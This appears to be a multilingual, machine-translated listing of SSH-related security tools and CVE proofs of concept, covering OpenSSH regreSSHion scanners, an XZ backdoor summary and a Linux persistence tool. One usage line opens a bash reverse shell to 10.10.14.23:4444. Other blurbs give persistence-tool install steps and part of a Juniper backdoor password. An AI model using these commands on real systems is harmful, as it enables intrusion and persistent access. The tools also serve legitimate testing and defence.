reverse-ssh

ReverseSSH Ein statisch gelinkter SSH-Server mit einer Reverse-Verbindungsfunktion für einfachen und dennoch leistungsstarken Fernzugriff. Am nützlichsten bei HackTheBox-Challenges, CTFs oder ähnlichem. Wurde entwickelt und war bei der OSCP-Prüfungsvorbereitung umfangreich im Einsatz. Die neueste...

CVE-2015-7755-POC

CVE-2015-7755-POC Erkennung der Schwachstelle CVE-2015-7755 mithilfe von SSH, um eine Verbindung zu den verwundbaren Versionen herzustellen: ScreenOS 6.2.0r15—6.2.0r18，6.3.0r12—6.3.0r20 Juniper Networks Benutzer: root Passwort: %sun='%s' = %u...

SSHPry2.0

SSHPry2.0 Dies ist die zweite Veröffentlichung des SSHPry-Tools, mit mehreren hinzugefügten Funktionen. Kontrolle des TTY des Ziels Integrierter Keylogger Phishing auf Konsolenebene Aufzeichnen und Wiedergeben vorheriger Sitzungen Demo: https://youtu.be/2gfnBvu1u34 Blogpost:...

sshuttle

sshuttle: wo transparenter Proxy auf VPN und SSH trifft Soweit ich weiß, ist sshuttle das einzige Programm, das den folgenden häufigen Anwendungsfall löst: Dein Client-Rechner oder Router läuft mit Linux, FreeBSD oder MacOS. Du hast Zugang zu einem entfernten Netzwerk über SSH. Du hast nicht...

CVE-2024-6387

Projektinformationen POC - CVE-2024-6387 - Scanner OpenSSH ist eine Suite sicherer Netzwerkdienstprogramme, die auf dem SSH-Protokoll basieren und für sichere Kommunikation über ungesicherte Netzwerke unerlässlich sind. Es bietet robuste Verschlüsselung, sichere Dateiübertragungen und...

CVE-2023-25136

OpenSSH-Sicherheitslücken-Testtool für CVE-2023-25136 Dieses Repository enthält einen Proof of Concept PoC zum Testen der CVE-2023-25136 -Sicherheitslücke in OpenSSH-Versionen 9.0 und 9.1. Die Sicherheitslücke birgt potenzielle Sicherheitsrisiken, und dieses Tool hilft dabei festzustellen, ob auf...

CVE-2024-3094

CVE-2024-3094 A CVE-2024-3094 expôs um backdoor na biblioteca de compressão XZ, permitindo acesso remoto via SSH ao contornar a autenticação. É um grande ataque à cadeia de suprimentos que afeta sistemas Linux, destacando riscos em componentes confiáveis de código aberto. O Backdoor do XZ: Uma...

D3m0n1z3dShell

「😈」Über D3m0n1z3dShell Demonized Shell ist ein fortgeschrittenes Tool für Persistenz in Linux. Installation root@kitploit: git clone https://github.com/MatheuZSecurity/D3m0n1z3dShell.git cd D3m0n1z3dShell chmod +x demonizedshell.sh sudo ./demonizedshell.sh Ein-Zeilen-Installation Lade...

regreSSHion-CVE-2024-6387

regreSSHion CVE-2024-6387 CVE-2024-6387...

cve-2025-32433

CVE-2025-32433 - Pre-Auth RCE in Erlang/OTP SSH Server Link zum detaillierten Write-up Alle untersuchten verwundbaren Versionen mithilfe von Docker: Erlang/OTP-25.3.2 Erlang/OTP-26.2.5.11...

CVE_2023_20198_Detector

CVE202320198Detector Dieses Skript kann erkennen, ob Cisco IOS XE-Geräte anfällig für CVE-2023-20198 sind. Das Skript nimmt als Eingabe eine CSV-Datei mit allen Geräte-IP-Adressen, die Sie überprüfen möchten. Standardmäßig sucht das Skript nach einer Datei namens "devices.csv"; Sie können die Dat...

sentinelssh

SentinelSSH: Erweiterter Schwachstellen-Scanner für CVE-2024-6387 SentinelSSH ist ein fortschrittlicher, leistungsstarker SSH-Schwachstellen-Scanner, der in Go geschrieben wurde. Er wurde speziell entwickelt, um die Schwachstelle CVE-2024-6387 in OpenSSH-Servern in verschiedenen Netzwerkumgebunge...

opensshenum

Descrição: Opensshenum é um enumerador de usuários do OpenSsh que permite verificar uma lista arbitrária de nomes de usuários contra um servidor OpenSsh, para saber quais realmente existem naquela máquina remota. Este programa explora uma falha corrigida em julho de 2018 que se mostrou eficaz pel...

Fastgate

TLDR Dies ist ein kurzer Bericht über eine Sicherheitslücke CVE-2019-12489, die beim Herumspielen mit einem Fastgate-Modem/-Router von Fastweb und Ghidra entdeckt wurde. Die Schwachstelle ermöglicht die Ausführung einer Befehlsinjektion über eine HTTP-Anfrage und kann genutzt werden, um eine...

CVE-2024-47533

root@kitploit: Shell reverso python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Comando simples python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Adicionar chave SSH python3 CVE-2024-47533.py --url http://127.0.0.1:2515...

CVE-2024-6387-Checker

CVE-2024-6387-Checker Beschreibung CVE-2024-6387-Checker ist ein Tool, das Server identifiziert, die anfällige Versionen von OpenSSH ausführen, insbesondere die kürzlich entdeckte regreSSHion-Schwachstelle CVE-2024-6387. Dieses Skript ermöglicht das schnelle Scannen mehrerer IP-Adressen,...

GrafXploit

Automated Exploit Tool for Grafana CVE-2021-43798 अवलोकन यह प्रोजेक्ट एक स्वचालित शोषण उपकरण है जो CVE-2021-43798 के लिए संवेदनशील Grafana इंस्टेंस से संवेदनशील जानकारी को स्कैन करने और निकालने के लिए डिज़ाइन किया गया है। यह उपकरण संवेदनशील प्लगइन्स की पहचान करता है और समझौता किए गए उपयोगकर्ताओं ...

vSphereyeeter

vsphereyeeter.sh ist ein automatisiertes Bash-Skript zur Ausnutzung der Schwachstelle CVE-2021-21972 im vSphere Client für vCenter-Server. Nach der Ausführung musst du ihm lediglich die IP-Adresse deines verwundbaren Ziels übergeben und du erhältst eine SSH-Shell. "„Der vSphere Client HTML5 enthä...

ansible-collection-hardening

Ansible Collection - devsec.hardening...

OpenSSH-4.7p1-CVE-2008-5161-Exploit

CVE-2008-5161 OpenSSH 4.7p1 Audit-Helfer Automatisiert die Versionierungsprüfung und Anmeldedaten-Auditierung von veralteten OpenSSH 4.7p1 Debian-8ubuntu1-Zielen, indem es das Metasploit-Modul auxiliary/scanner/ssh/sshlogin von Python aus über pwntools steuert. Dieses Projekt ist nur für Forschun...